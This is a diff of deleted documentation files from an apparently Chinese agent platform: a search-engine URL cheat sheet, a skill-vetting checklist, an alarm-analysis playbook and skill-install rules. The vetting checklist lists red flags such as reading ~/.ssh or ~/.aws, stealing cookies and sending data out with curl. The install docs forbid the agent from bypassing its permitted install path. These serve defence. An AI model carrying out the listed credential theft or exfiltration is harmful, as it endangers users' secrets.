| `gl=us` | 地理位置 | `https://www.google.com/search?q=test&gl=us` |
### 1.5 特殊搜索类型
| 类型 | URL | 说明 |
|------|-----|------|
| 图片搜索 | `https://www.google.com/search?q={keyword}&tbm=isch` | `tbm=isch` 表示图片 |
| 新闻搜索 | `https://www.google.com/search?q={keyword}&tbm=nws` | `tbm=nws` 表示新闻 |
| 视频搜索 | `https://www.google.com/search?q={keyword}&tbm=vid` | `tbm=vid` 表示视频 |
| 地图搜索 | `https://www.google.com/search?q={keyword}&tbm=map` | `tbm=map` 表示地图 |
| 购物搜索 | `https://www.google.com/search?q={keyword}&tbm=shop` | `tbm=shop` 表示购物 |
| 图书搜索 | `https://www.google.com/search?q={keyword}&tbm=bks` | `tbm=bks` 表示图书 |
| 学术搜索 | `https://scholar.google.com/scholar?q={keyword}` | Google Scholar |
### 1.6 Google 深度搜索示例
```javascript
// 1. 搜索GitHub上的Python机器学习项目
web_fetch({"url": "https://www.google.com/search?q=site:github.com+python+machine+learning"})
// 2. 搜索2024年的PDF格式机器学习教程
web_fetch({"url": "https://www.google.com/search?q=machine+learning+tutorial+filetype:pdf&tbs=cdr:1,cd_min:1/1/2024"})
// 3. 搜索标题包含"tutorial"的Python相关页面
web_fetch({"url": "https://www.google.com/search?q=intitle:tutorial+python"})
// 4. 搜索过去一周的新闻
web_fetch({"url": "https://www.google.com/search?q=AI+breakthrough&tbs=qdr:w&tbm=nws"})
// 5. 搜索中文内容(界面英文,结果中文)
web_fetch({"url": "https://www.google.com/search?q=人工智能&lr=lang_zh-CN&hl=en"})
// 6. 搜索特定价格范围的笔记本电脑
web_fetch({"url": "https://www.google.com/search?q=laptop+%241000..%242000+best+rating"})
// 7. 搜索排除Wikipedia的结果
web_fetch({"url": "https://www.google.com/search?q=python+programming+-wikipedia"})
// 8. 搜索学术文献
web_fetch({"url": "https://scholar.google.com/scholar?q=deep+learning+optimization"})
// 9. 搜索缓存页面(查看已删除内容)
web_fetch({"url": "https://webcache.googleusercontent.com/search?q=cache:example.com"})
// 10. 搜索相关网站
web_fetch({"url": "https://www.google.com/search?q=related:stackoverflow.com"})
```
---
## 🦆 DuckDuckGo 深度搜索
### 2.1 DuckDuckGo 特色功能
| 功能 | 语法 | 示例 |
|------|------|------|
| **Bangs 快捷** | `!缩写` | `!g python` → Google搜索 |
| **密码生成** | `password` | `https://duckduckgo.com/?q=password+20` |
| **颜色转换** | `color` | `https://duckduckgo.com/?q=+%23FF5733` |
| **短链接** | `shorten` | `https://duckduckgo.com/?q=shorten+example.com` |
| **二维码生成** | `qr` | `https://duckduckgo.com/?q=qr+hello+world` |
| **生成UUID** | `uuid` | `https://duckduckgo.com/?q=uuid` |
| **Base64编解码** | `base64` | `https://duckduckgo.com/?q=base64+hello` |
### 2.2 DuckDuckGo Bangs 完整列表
#### 搜索引擎
| Bang | 跳转目标 | 示例 |
|------|---------|------|
| `!g` | Google | `!g python tutorial` |
| `!b` | Bing | `!b weather` |
| `!y` | Yahoo | `!y finance` |
| `!sp` | Startpage | `!sp privacy` |
| `!brave` | Brave Search | `!brave tech` |
#### 编程开发
| Bang | 跳转目标 | 示例 |
|------|---------|------|
| `!gh` | GitHub | `!gh tensorflow` |
| `!so` | Stack Overflow | `!so javascript error` |
| `!npm` | npmjs.com | `!npm express` |
| `!pypi` | PyPI | `!pypi requests` |
| `!mdn` | MDN Web Docs | `!mdn fetch api` |
| `!docs` | DevDocs | `!docs python` |
| `!docker` | Docker Hub | `!docker nginx` |
#### 知识百科
| Bang | 跳转目标 | 示例 |
|------|---------|------|
| `!w` | Wikipedia | `!w machine learning` |
| `!wen` | Wikipedia英文 | `!wen artificial intelligence` |
| `!wt` | Wiktionary | `!wt serendipity` |
| `!imdb` | IMDb | `!imdb inception` |
#### 购物价格
| Bang | 跳转目标 | 示例 |
|------|---------|------|
| `!a` | Amazon | `!a wireless headphones` |
| `!e` | eBay | `!e vintage watch` |
| `!ali` | AliExpress | `!ali phone case` |
#### 地图位置
| Bang | 跳转目标 | 示例 |
|------|---------|------|
| `!m` | Google Maps | `!m Beijing` |
| `!maps` | OpenStreetMap | `!maps Paris` |
### 2.3 DuckDuckGo 搜索参数
| 参数 | 功能 | 示例 |
|------|------|------|
| `kp=1` | 严格安全搜索 | `https://duckduckgo.com/html/?q=test&kp=1` |
| `kp=-1` | 关闭安全搜索 | `https://duckduckgo.com/html/?q=test&kp=-1` |
| `kl=cn` | 中国区域 | `https://duckduckgo.com/html/?q=news&kl=cn` |
| `kl=us-en` | 美国英文 | `https://duckduckgo.com/html/?q=news&kl=us-en` |
| `ia=web` | 网页结果 | `https://duckduckgo.com/?q=test&ia=web` |
| `ia=images` | 图片结果 | `https://duckduckgo.com/?q=test&ia=images` |
| `ia=news` | 新闻结果 | `https://duckduckgo.com/?q=test&ia=news` |
| `ia=videos` | 视频结果 | `https://duckduckgo.com/?q=test&ia=videos` |
### 2.4 DuckDuckGo 深度搜索示例
```javascript
// 1. 使用Bang跳转到Google搜索
web_fetch({"url": "https://duckduckgo.com/html/?q=!g+machine+learning"})
// 2. 直接搜索GitHub上的项目
web_fetch({"url": "https://duckduckgo.com/html/?q=!gh+react"})
// 3. 查找Stack Overflow答案
web_fetch({"url": "https://duckduckgo.com/html/?q=!so+python+list+comprehension"})
// 4. 生成密码
web_fetch({"url": "https://duckduckgo.com/?q=password+16"})
// 5. Base64编码
web_fetch({"url": "https://duckduckgo.com/?q=base64+hello+world"})
// 6. 颜色代码转换
web_fetch({"url": "https://duckduckgo.com/?q=%23FF5733"})
// 7. 搜索YouTube视频
web_fetch({"url": "https://duckduckgo.com/html/?q=!yt+python+tutorial"})
// 8. 查看Wikipedia
web_fetch({"url": "https://duckduckgo.com/html/?q=!w+artificial+intelligence"})
// 9. 亚马逊商品搜索
web_fetch({"url": "https://duckduckgo.com/html/?q=!a+laptop"})
// 10. 生成二维码
web_fetch({"url": "https://duckduckgo.com/?q=qr+https://github.com"})
```
---
## 🔎 Brave Search 深度搜索
### 3.1 Brave Search 特色功能
| 功能 | 参数 | 示例 |
|------|------|------|
| **独立索引** | 无依赖Google/Bing | 自有爬虫索引 |
| **Goggles** | 自定义搜索规则 | 创建个性化过滤器 |
| **Discussions** | 论坛讨论搜索 | 聚合Reddit等论坛 |
| **News** | 新闻聚合 | 独立新闻索引 |
### 3.2 Brave Search 参数
| 参数 | 功能 | 示例 |
|------|------|------|
| `tf=pw` | 本周 | `https://search.brave.com/search?q=news&tf=pw` |
| `tf=pm` | 本月 | `https://search.brave.com/search?q=tech&tf=pm` |
| `tf=py` | 本年 | `https://search.brave.com/search?q=AI&tf=py` |
| `safesearch=strict` | 严格安全 | `https://search.brave.com/search?q=test&safesearch=strict` |
| `source=web` | 网页搜索 | 默认 |
| `source=news` | 新闻搜索 | `https://search.brave.com/search?q=tech&source=news` |
| `source=images` | 图片搜索 | `https://search.brave.com/search?q=cat&source=images` |
| `source=videos` | 视频搜索 | `https://search.brave.com/search?q=music&source=videos` |
### 3.3 Brave Search Goggles(自定义过滤器)
Goggles 允许创建自定义搜索规则:
```
$discard // 丢弃所有
$boost,site=stackoverflow.com // 提升Stack Overflow
$boost,site=github.com // 提升GitHub
$boost,site=docs.python.org // 提升Python文档
```
### 3.4 Brave Search 深度搜索示例
```javascript
// 1. 本周科技新闻
web_fetch({"url": "https://search.brave.com/search?q=technology&tf=pw&source=news"})
// 2. 本月AI发展
web_fetch({"url": "https://search.brave.com/search?q=artificial+intelligence&tf=pm"})
// 3. 图片搜索
web_fetch({"url": "https://search.brave.com/search?q=machine+learning&source=images"})
// 4. 视频教程
web_fetch({"url": "https://search.brave.com/search?q=python+tutorial&source=videos"})
// 5. 使用独立索引搜索
web_fetch({"url": "https://search.brave.com/search?q=privacy+tools"})
```
---
## 📊 WolframAlpha 知识计算搜索
### 4.1 WolframAlpha 数据类型
| 类型 | 查询示例 | URL |
|------|---------|-----|
| **数学计算** | `integrate x^2 dx` | `https://www.wolframalpha.com/input?i=integrate+x%5E2+dx` |
| **单位换算** | `100 miles to km` | `https://www.wolframalpha.com/input?i=100+miles+to+km` |
| **货币转换** | `100 USD to CNY` | `https://www.wolframalpha.com/input?i=100+USD+to+CNY` |
| **股票数据** | `AAPL stock` | `https://www.wolframalpha.com/input?i=AAPL+stock` |
| **天气查询** | `weather in Beijing` | `https://www.wolframalpha.com/input?i=weather+in+Beijing` |
| **人口数据** | `population of China` | `https://www.wolframalpha.com/input?i=population+of+China` |
| **化学元素** | `properties of gold` | `https://www.wolframalpha.com/input?i=properties+of+gold` |
| **营养成分** | `nutrition of apple` | `https://www.wolframalpha.com/input?i=nutrition+of+apple` |
| **日期计算** | `days between Jan 1 2020 and Dec 31 2024` | 日期间隔计算 |
| **时区转换** | `10am Beijing to New York` | 时区转换 |
| **IP地址** | `8.8.8.8` | IP信息查询 |
| **条形码** | `scan barcode 123456789` | 条码信息 |
| **飞机航班** | `flight AA123` | 航班信息 |
### 4.2 WolframAlpha 深度搜索示例
```javascript
// 1. 计算积分
web_fetch({"url": "https://www.wolframalpha.com/input?i=integrate+sin%28x%29+from+0+to+pi"})
// 2. 解方程
web_fetch({"url": "https://www.wolframalpha.com/input?i=solve+x%5E2-5x%2B6%3D0"})
// 3. 货币实时汇率
web_fetch({"url": "https://www.wolframalpha.com/input?i=100+USD+to+CNY"})
// 4. 股票实时数据
web_fetch({"url": "https://www.wolframalpha.com/input?i=Apple+stock+price"})
// 5. 城市天气
web_fetch({"url": "https://www.wolframalpha.com/input?i=weather+in+Shanghai+tomorrow"})
// 6. 国家统计信息
web_fetch({"url": "https://www.wolframalpha.com/input?i=GDP+of+China+vs+USA"})
// 7. 化学计算
web_fetch({"url": "https://www.wolframalpha.com/input?i=molar+mass+of+H2SO4"})
// 8. 物理常数
web_fetch({"url": "https://www.wolframalpha.com/input?i=speed+of+light"})
// 9. 营养信息
web_fetch({"url": "https://www.wolframalpha.com/input?i=calories+in+banana"})
// 10. 历史日期
web_fetch({"url": "https://www.wolframalpha.com/input?i=events+on+July+20+1969"})
```
---
## 🔧 Startpage 隐私搜索
### 5.1 Startpage 特色功能
| 功能 | 说明 | URL |
|------|------|-----|
| **代理浏览** | 匿名访问搜索结果 | 点击"匿名查看" |
| **无追踪** | 不记录搜索历史 | 默认开启 |
| **EU服务器** | 受欧盟隐私法保护 | 数据在欧洲 |
| **代理图片** | 图片代理加载 | 隐藏IP |
### 5.2 Startpage 参数
| 参数 | 功能 | 示例 |
|------|------|------|
| `cat=web` | 网页搜索 | 默认 |
| `cat=images` | 图片搜索 | `...&cat=images` |
| `cat=video` | 视频搜索 | `...&cat=video` |
| `cat=news` | 新闻搜索 | `...&cat=news` |
| `language=english` | 英文结果 | `...&language=english` |
| `time=day` | 过去24小时 | `...&time=day` |
| `time=week` | 过去一周 | `...&time=week` |
| `time=month` | 过去一月 | `...&time=month` |
| `time=year` | 过去一年 | `...&time=year` |
| `nj=0` | 关闭 family filter | `...&nj=0` |
### 5.3 Startpage 深度搜索示例
```javascript
// 1. 隐私搜索
web_fetch({"url": "https://www.startpage.com/sp/search?query=privacy+tools"})
// 2. 图片隐私搜索
web_fetch({"url": "https://www.startpage.com/sp/search?query=nature&cat=images"})
// 3. 本周新闻(隐私模式)
web_fetch({"url": "https://www.startpage.com/sp/search?query=tech+news&time=week&cat=news"})
// 4. 英文结果搜索
web_fetch({"url": "https://www.startpage.com/sp/search?query=machine+learning&language=english"})
```
---
## 🌐 其他国际搜索引擎
### Yahoo
```javascript
web_fetch({"url": "https://search.yahoo.com/search?p={keyword}"})
```
### Ecosia(环保搜索)
```javascript
web_fetch({"url": "https://www.ecosia.org/search?q={keyword}"})
```
### Qwant(欧盟隐私搜索)
```javascript
web_fetch({"url": "https://www.qwant.com/?q={keyword}"})
```
---
## 🌍 国际搜索策略
### 按搜索目标选择引擎
| 搜索目标 | 首选引擎 | 原因 |
|---------|---------|------|
| **学术研究** | Google Scholar | 学术资源索引最全 |
| **编程开发** | Google + DuckDuckGo Bangs | 技术文档全面 |
| **隐私敏感** | DuckDuckGo / Brave | 不追踪用户 |
| **实时新闻** | Brave News | 独立新闻索引 |
| **知识计算** | WolframAlpha | 结构化数据计算 |
| **隐私+Google结果** | Startpage | Google结果+隐私保护 |

View file

@ -1,138 +0,0 @@
---
name: skill-vetter
version: 1.0.0
description: Security-first skill vetting for AI agents. Use before installing any skill from ClawdHub, GitHub, or other sources. Checks for red flags, permission scope, and suspicious patterns.
---
# Skill Vetter 🔒
Security-first vetting protocol for AI agent skills. **Never install a skill without vetting it first.**
## When to Use
- Before installing any skill from ClawdHub
- Before running skills from GitHub repos
- When evaluating skills shared by other agents
- Anytime you're asked to install unknown code
## Vetting Protocol
### Step 1: Source Check
```
Questions to answer:
- [ ] Where did this skill come from?
- [ ] Is the author known/reputable?
- [ ] How many downloads/stars does it have?
- [ ] When was it last updated?
- [ ] Are there reviews from other agents?
```
### Step 2: Code Review (MANDATORY)
Read ALL files in the skill. Check for these **RED FLAGS**:
```
🚨 REJECT IMMEDIATELY IF YOU SEE:
─────────────────────────────────────────
• curl/wget to unknown URLs
• Sends data to external servers
• Requests credentials/tokens/API keys
• Reads ~/.ssh, ~/.aws, ~/.config without clear reason
• Accesses MEMORY.md, USER.md, SOUL.md, IDENTITY.md
• Uses base64 decode on anything
• Uses eval() or exec() with external input
• Modifies system files outside workspace
• Installs packages without listing them
• Network calls to IPs instead of domains
• Obfuscated code (compressed, encoded, minified)
• Requests elevated/sudo permissions
• Accesses browser cookies/sessions
• Touches credential files
─────────────────────────────────────────
```
### Step 3: Permission Scope
```
Evaluate:
- [ ] What files does it need to read?
- [ ] What files does it need to write?
- [ ] What commands does it run?
- [ ] Does it need network access? To where?
- [ ] Is the scope minimal for its stated purpose?
```
### Step 4: Risk Classification
| Risk Level | Examples | Action |
|------------|----------|--------|
| 🟢 LOW | Notes, weather, formatting | Basic review, install OK |
| 🟡 MEDIUM | File ops, browser, APIs | Full code review required |
| 🔴 HIGH | Credentials, trading, system | Human approval required |
| ⛔ EXTREME | Security configs, root access | Do NOT install |
## Output Format
After vetting, produce this report:
```
SKILL VETTING REPORT
═══════════════════════════════════════
Skill: [name]
Source: [ClawdHub / GitHub / other]
Author: [username]
Version: [version]
───────────────────────────────────────
METRICS:
• Downloads/Stars: [count]
• Last Updated: [date]
• Files Reviewed: [count]
───────────────────────────────────────
RED FLAGS: [None / List them]
PERMISSIONS NEEDED:
• Files: [list or "None"]
• Network: [list or "None"]
• Commands: [list or "None"]
───────────────────────────────────────
RISK LEVEL: [🟢 LOW / 🟡 MEDIUM / 🔴 HIGH / ⛔ EXTREME]
VERDICT: [✅ SAFE TO INSTALL / ⚠️ INSTALL WITH CAUTION / ❌ DO NOT INSTALL]
NOTES: [Any observations]
═══════════════════════════════════════
```
## Quick Vet Commands
For GitHub-hosted skills:
```bash
# Check repo stats
curl -s "https://api.github.com/repos/OWNER/REPO" | jq '{stars: .stargazers_count, forks: .forks_count, updated: .updated_at}'
# List skill files
curl -s "https://api.github.com/repos/OWNER/REPO/contents/skills/SKILL_NAME" | jq '.[].name'
# Fetch and review SKILL.md
curl -s "https://raw.githubusercontent.com/OWNER/REPO/main/skills/SKILL_NAME/SKILL.md"
```
## Trust Hierarchy
1. **Official OpenClaw skills** → Lower scrutiny (still review)
2. **High-star repos (1000+)** → Moderate scrutiny
3. **Known authors** → Moderate scrutiny
4. **New/unknown sources** → Maximum scrutiny
5. **Skills requesting credentials** → Human approval always
## Remember
- No skill is worth compromising security
- When in doubt, don't install
- Ask your human for high-risk decisions
- Document what you vet for future reference
---
*Paranoia is a feature.* 🔒🦀

View file

@ -1,6 +0,0 @@
{
"ownerId": "kn71j6xbmpwfvx4c6y1ez8cd718081mg",
"slug": "skill-vetter",
"version": "1.0.0",
"publishedAt": 1769863429632
}

View file

@ -1,79 +0,0 @@
---
name: ops-netx-ume-playbook
description: 面向 ops 专家的 netx UME 告警分析标准作业手册。用于任何告警查询、聚合统计、诊断摘要、raw 字段过滤与 UME SQL 分析场景。
---
# Ops Netx UME 作业手册
## 强制使用范围
凡是涉及 netx/UME 告警的 ops 请求,必须优先加载并遵循本技能。
## 工具选择顺序
1. 基础视图(先看整体):
- `netx_query_ume_alarms`
- `netx_aggregate_ume_alarms`
- `netx_run_ume_diagnostics`
2. 字段感知深查(需要细节):
- `netx_list_ume_alarm_fields`
- `netx_query_ume_alarms_raw`(优先使用 `select_fields` 控制返回字段)
3. 自定义聚合(非 SQL):
- `netx_aggregate_ume_alarms_raw`(`group_by`,可选 `group_by2`)
4. 高级分析(SQL):
- `netx_sql_query_ume`(仅 SELECT、仅 UME 表;重查询建议设置 `statement_timeout_ms`)
## 快速决策树(强推荐)
- **只需要整体态势 / Top 风险 / 快速简报**:
- 先 `netx_aggregate_ume_alarms` + `netx_run_ume_diagnostics`
- 必要时再用 `netx_query_ume_alarms` 看前 1 页做样本核对
- **需要“可引用证据”的具体告警明细**:
- 先 `netx_list_ume_alarm_fields`
- 再 `netx_query_ume_alarms_raw`,并用 `select_fields` 只取必要字段
- **需要按任意字段做统计(但不想写 SQL)**:
- `netx_aggregate_ume_alarms_raw`(`group_by` / `group_by2`)
- **需要复杂条件 / 自定义计算 / 多条件关联**:
- `netx_sql_query_ume`(必须过滤 + `statement_timeout_ms`)
## 约束与护栏
- 优先使用非 SQL 工具;仅当工具参数无法表达需求时再用 SQL。
- 默认过滤优先级(先收敛再扩展):
- 首选:`severity`(先把问题缩小到 critical/major 等)
- 其次:`keyword`(网元名/标签/IP/对象名/告警关键字)
- 再次:`time_from/time_to`(按 `last_seen_at` 限定时间窗)
- 最后:`event_type` 或 `ne_id`(当你明确知道要锁定事件类型/网元时)
- 禁止“为了凑全量而无脑翻页”:
- `netx_query_ume_alarms` 默认只看前 1 页(必要时最多 2 页)
- 如需更多数据,必须先明确过滤条件(`severity/ne_id/keyword/time_from/time_to/event_type` 等)或改用聚合/SQL
- 控制响应体积:
- 默认 `page_size=50`(除非明确需要更多,否则不要上来就拉满 500)
- 动态聚合默认 `limit=200`
- 合理设置 `page_size`
- raw 查询尽量传 `select_fields`;或使用 `field_preset=brief/evidence/ne_debug`
- 先加过滤条件,再增大分页范围
- 时间窗过滤默认基于 `last_seen_at` 语义,除非需求明确要求其它口径。
- 若数据新鲜度不明确,先查看 runtime 锚点状态,再下结论。
- SQL 使用规则(`netx_sql_query_ume`):
- 建议总是设置 `statement_timeout_ms`(例如 3000~10000)
- 推荐默认从 `statement_timeout_ms=8000` 开始
- 除非只是 `count(*)`,否则应包含过滤条件(至少时间窗或 `ne_id`/严重度过滤),避免全表扫描
## 输出约定
- 输出必须包含:
- 简明结论
- 证据依据(工具输出)
- 可执行下一步
- 没有工具证据时,不得臆测告警事实。
## 推荐分析模式
- 高风险网元:`netx_aggregate_ume_alarms_raw` + `group_by=ne_user_label` + 严重度过滤。
- 严重度分布:`group_by=alarm_perceived_severity`。
- 事件趋势切片:raw 查询中组合 `time_from/time_to` + `event_type`。
## 参考模板
- 快速模板见:[reference.md](reference.md)

View file

@ -1,90 +0,0 @@
# Ops Netx UME 快速参考
## 1) 当前告警明细(轻量入口)
- 工具:`netx_query_ume_alarms`
- 常用参数:
- `severity`, `ne_id`, `keyword`, `page`, `page_size`
- 建议:
- 推荐 `page_size=50`
- 默认只看前 1 页(必要时最多 2 页),不要无脑翻页拉全量
## 2) 原始明细(字段可控,推荐用于证据输出)
- 工具:`netx_query_ume_alarms_raw`
- 推荐流程:
- 先调用 `netx_list_ume_alarm_fields` 获取字段清单
- 再用 `select_fields` 控制返回字段,减少输出体积
- 字段集预设(推荐优先用 preset,避免手写字段列表):
- `field_preset=brief`:轻量概览(严重度/事件/最近时间/网元显示)
- `field_preset=evidence`:证据输出(含 object/cause/时间/网元状态)
- `field_preset=ne_debug`:定位网元信息缺失或状态异常
- `select_fields` 示例:
- `alarm_alarm_key`
- `alarm_perceived_severity`
- `alarm_last_seen_at`
- `ne_user_label`
- `ne_ip_address`
## 3) 动态聚合(非 SQL)
- 工具:`netx_aggregate_ume_alarms_raw`
- 常用分组:
- `group_by=alarm_perceived_severity`
- `group_by=ne_user_label`
- `group_by=alarm_event_type`
- `group_by=ne_connection_status`
- `group_by=alarm_perceived_severity, group_by2=ne_user_label`
- 建议:
- 推荐 `limit=200`
## 4) 诊断摘要
- 工具:`netx_run_ume_diagnostics`
- 用途:在深挖前先快速形成“概览简报”(严重度、Top 网元、Top 事件类型等)
## 5) SQL 深度分析(受限)
- 工具:`netx_sql_query_ume`
- 约束:
- 仅允许 SELECT
- 仅允许表:`ume_alarms_current` / `ume_inventory_ne`
- 重查询务必设置 `statement_timeout_ms`
- 除非只是 `count(*)`,否则建议带时间窗(例如 `last_seen_at >= now() - interval '30 minutes'`)
- 示例(全量聚合,谨慎使用):
```sql
select
coalesce(ne.user_label, ne.ne_name, a.ne_id) as ne_display,
count(*) as alarm_count
from ume_alarms_current a
left join ume_inventory_ne ne on ne.ne_id = a.ne_id
group by coalesce(ne.user_label, ne.ne_name, a.ne_id)
order by alarm_count desc
```
- 示例(推荐:带时间窗 + 超时):
- `statement_timeout_ms=8000`
```sql
select
coalesce(ne.user_label, ne.ne_name, a.ne_id) as ne_display,
count(*) as alarm_count
from ume_alarms_current a
left join ume_inventory_ne ne on ne.ne_id = a.ne_id
where a.last_seen_at >= now() - interval '30 minutes'
group by coalesce(ne.user_label, ne.ne_name, a.ne_id)
order by alarm_count desc
```
- 示例(推荐:带时间窗 + 严重度过滤,现场最常用):
- `statement_timeout_ms=8000`
```sql
select
coalesce(ne.user_label, ne.ne_name, a.ne_id) as ne_display,
count(*) as alarm_count
from ume_alarms_current a
left join ume_inventory_ne ne on ne.ne_id = a.ne_id
where a.last_seen_at >= now() - interval '30 minutes'
and lower(coalesce(a.perceived_severity, '')) in ('critical','major')
group by coalesce(ne.user_label, ne.ne_name, a.ne_id)
order by alarm_count desc
```

View file

@ -1,16 +0,0 @@
本目录用于 **公共 skills**。
约定:
- 路径:`oclaw/runtime/skills/_workspace/public/<skill_name>/SKILL.md`
- 放在这里的 skill **默认对所有人可用**,不需要在 Admin 里做角色绑定。
注意:
- 仍会受 skill 本身的 `disable_model_invocation`、租户禁用列表等策略影响。
本目录用于 **公共 skills**。
约定:
- 路径:`oclaw/runtime/skills/_workspace/public/<skill_name>/SKILL.md`
- 放在这里的 skill **默认对所有人可用**,不需要在 Admin 里做角色绑定。
注意:
- 仍会受 skill 本身的 `disable_model_invocation`、租户禁用列表等策略影响。

View file

@ -1,7 +0,0 @@
# oclaw-skill-manager
Oclaw **内置** Skill:说明如何在当前仓库中安装、更新、卸载技能,以及依赖与健康检查。
- 主文档:[SKILL.md](SKILL.md)
- 本包**不是**任何外部「技能市场 CLI」的封装;平台不提供官方 shell 一键安装命令。
- 模型安装策略:仅允许 `skill_auto_install`;失败时仅报告 `error_code/detail`,禁止绕路安装。

View file

@ -1,87 +0,0 @@
---
name: oclaw-skill-manager
description: Oclaw 官方 Skill 生命周期手册:安装、更新、卸载、依赖与健康检查。仅使用本仓库 Admin API、安装器与内置工具;不提供也不推荐任何 shell「一键装技能」命令。
---
# Oclaw Skill 管理器(官方手册)
本技能是 **Oclaw 自有** 的 Skill 运维说明,用于指导模型与运维在**同一套契约**下管理 `runtime/skills` 下的技能包。
## 系统强约束(模型必须遵守)
- 规范优先:安装决策只依据本文件,不依据临时推断或“经验性排障说法”。
- 路径约束:当任务目标是“为当前会话/用户安装 skill”时,**只允许**走 `skill_auto_install`(`_workspace` lane)。
- 禁止绕路:不得调用任何非 auto 安装路径(包括但不限于 `skill_market_install`、`skill_registry_install`、Admin 安装 API、手写下载/解压脚本落盘到 `runtime/skills`)。
- 失败处理:`skill_auto_install` 失败后,**不得继续安装**;只报告 `error_code/detail` 与最小下一步,等待用户指示。
- 禁止臆测前置条件:未在本规范显式声明的环境变量/端口/服务状态,不得被表述为“安装必经条件”。
## 平台事实(无「原生安装命令」)
- Oclaw **不提供**任何官方 shell「一键装技能」命令(包括市场 CLI、`npx …` 拉 CLI 再 `install` 等模式)。
- 模型安装策略:默认仅使用 **`skill_auto_install`**;其他安装能力仅供管理员/后端运维链路使用。
- 在沙箱里执行 `run_command` 时,**外部技能 CLI 安装模式会被拦截**(见 `shell_tools`),请改用下文 API。
## 目录策略
| 场景 | 路径 |
|------|------|
| 人工 / Admin 市场或 registry 安装 | `<skills_root>/<manifest_name>/` |
| 智能体 payload 自动安装 | `<skills_root>/_workspace/<manifest_name>/` |
`<skills_root>` 默认 `runtime/skills/`,可被 **`AIA_SKILLS_ROOT`** 覆盖。
## 技能市场提供方(ClawHub + CocoLoop)
租户设置 **`AIA_SKILL_MARKET_PROVIDER`** 选择市场(网关 `get_market_adapter` 读取):
| 取值 | 说明 |
|------|------|
| **`clawhub`**(默认) | [ClawHub](https://clawhub.ai) 公开技能注册表;HTTP 形态与官方 CLI 一致,见上游文档 [CLI / Registry](https://github.com/openclaw/clawhub/blob/main/docs/cli.md)(`/api/v1/search`、`/api/v1/skills/{slug}`、`/api/v1/download?slug=&version=`)。本仓库客户端:`runtime/tools/skills/clawhub_client.py`,环境变量 **`AIA_CLAWHUB_SITE` / `AIA_CLAWHUB_REGISTRY` / `AIA_CLAWHUB_TOKEN`**(或 `CLAWHUB_*`)与官方 `CLAWHUB_*` 对齐。 |
| **`cocoloop`** | [CocoLoop 技能商店](https://hub.cocoloop.cn) 开放列表接口:`GET {api}/api/v1/store/skills`(分页、`keyword`、`sort`),详情:`GET {api}/api/v1/store/skills/{id}`;列表项中的 **`download_url`** 为 zip 直链(常见域名 `dl.cocoloop.cn`)。实现:`runtime/tools/skills/cocoloop_client.py`;可选 **`AIA_COCOLOOP_API_BASE`**(默认 `https://api.cocoloop.com`)。别名:`cocoloop-cn`、`cocoloop_cn` 与 `cocoloop` 相同。 |
安装仍统一走 **`install_skill_from_registry_archive`**:对 ClawHub 与 CocoLoop 均为 **HTTPS zip 归档 URL**,无需在服务器上安装 `clawhub` / `cocoloop` CLI。
## 发现与安装(模型视角)
### 唯一安装路径(必须)
- **`skill_auto_install`**:仅写入 `_workspace` lane(见 `skill_installer.auto_install_skill_from_payload`)。
- **非前置条件澄清**:`AIA_INTERNAL_BASE_URL`、Admin `market/search`、本地 5173 服务都不是 `skill_auto_install` 的必需前置。
- 若安装失败,向用户返回:
- `error_code`
- `detail`
- 建议下一步(例如补充 name/description、检查依赖、重试)
- 不允许改走其它安装入口完成同一目标。
## 列表、开关、卸载
- **`skill_list`**(若已绑定到当前专家)
- `GET /admin/api/skills`
- `POST /admin/api/skills/enable` / `disable`,`{ "name": "..." }`
- `POST /admin/api/skills/uninstall`,`{ "name": "..." }`
## 依赖与健康
- 安装后:`requirements.txt`、`package.json`(`dependencies`)、Python import 探测与补装(受 `AIA_SKILL_AUTO_INSTALL_DEPS_ENABLED` 控制)。
- Admin:**Repair deps** / **Repair all deps**
- `GET /admin/api/skills/self-check?include_execution=...`
## 更新
模型侧无独立 update 安装路径;如需更新,按用户指示走新的 `skill_auto_install` 版本草案或转人工管理员操作。
## 可选人工安全审查
- [references/safety-check-guide.md](references/safety-check-guide.md)
- [references/skill-safety-rubric.md](references/skill-safety-rubric.md)
均为**人工参考**,平台不自动执行远程认证。
## 子文档
- [references/install-guide.md](references/install-guide.md)
- [references/search-guide.md](references/search-guide.md)
- [references/uninstall-guide.md](references/uninstall-guide.md)
---
维护本技能时,请只增删 **Oclaw 已实现** 的行为,勿再引入第三方「技能 CLI」作为默认路径。

View file

@ -1,53 +0,0 @@
# Oclaw — Skill 安装详细指南
本文档仅描述 **Oclaw** 内的安装行为,替代旧版「多平台检测 + Cocoloop API」流程。
## 模型执行硬规则
- 仅允许 `skill_auto_install`。
- 安装失败时只允许“报告失败原因给用户”,禁止改走其它安装入口(market/install、install-registry、install、本地脚本解压落盘等)。
- 不得把未在规范中声明的环境变量/端口/服务状态当作安装前置条件。
## 1. 技能根目录
- 默认:`runtime/skills/`(或环境变量 `AIA_SKILLS_ROOT` 指向的目录)
- **主目录**:`<skills_root>/<name>/` — Admin 市场 / registry / 本地目录安装默认落点
- **智能体自写目录**:`<skills_root>/_workspace/<name>/` — `skill_auto_install` / `auto_install_skill_from_payload` 等
具体以安装接口返回的 `target_dir` 为准。
## 2. 安装入口对照(运维参考)
| 场景 | 方式 | HTTP(Admin) |
|------|------|----------------|
| ClawHub slug | 解析 `archive_url` 后安装 | `POST /admin/api/skills/market/install` |
| 已知归档 URL | 直接拉取 zip/tar | `POST /admin/api/skills/install-registry` |
| 本地已展开目录 | 目录内含 `SKILL.md` | `POST /admin/api/skills/install` |
| 从模板创建 | 生成新包 | `POST /admin/api/skills/create` |
| Workspace 模板 | 带 runtime 桩 | `POST /admin/api/skills/create-workspace` |
认证:Admin 路由需带网关要求的 `Authorization`(与现有 Admin 一致)。
## 3. 依赖与自检
安装成功后,安装器会尽量:
1. 处理 `requirements.txt`、`package.json`(`dependencies` 非空)
2. 扫描 `.py` 的 import,对缺失的第三方模块尝试 `pip install`
失败不一定会回滚整个目录,可能返回带 `installed_with_dependency_warnings` 的 `detail`。此时在 Admin 使用 **Repair deps** 或 **Repair all deps**。
## 4. 重试与覆盖
- 安装失败审计里若带 `retryable`,可用 `POST /admin/api/skills/retry-install`(见 Admin 实现)
- 覆盖安装:`overwrite: true`
## 5. 禁止项
- **不要**使用任何「第三方技能 CLI + install」作为安装路径(`run_command` 会拦截常见模式)
- **不要**把非本仓库契约的 HTTP 商店当作主源;技能发现以 **ClawHub 市场适配器**(`AIA_SKILL_MARKET_PROVIDER`)为准
- **模型侧不要**在 `skill_auto_install` 失败后切换到 Admin 安装 API 或脚本直装。
## 6. slug 与包名
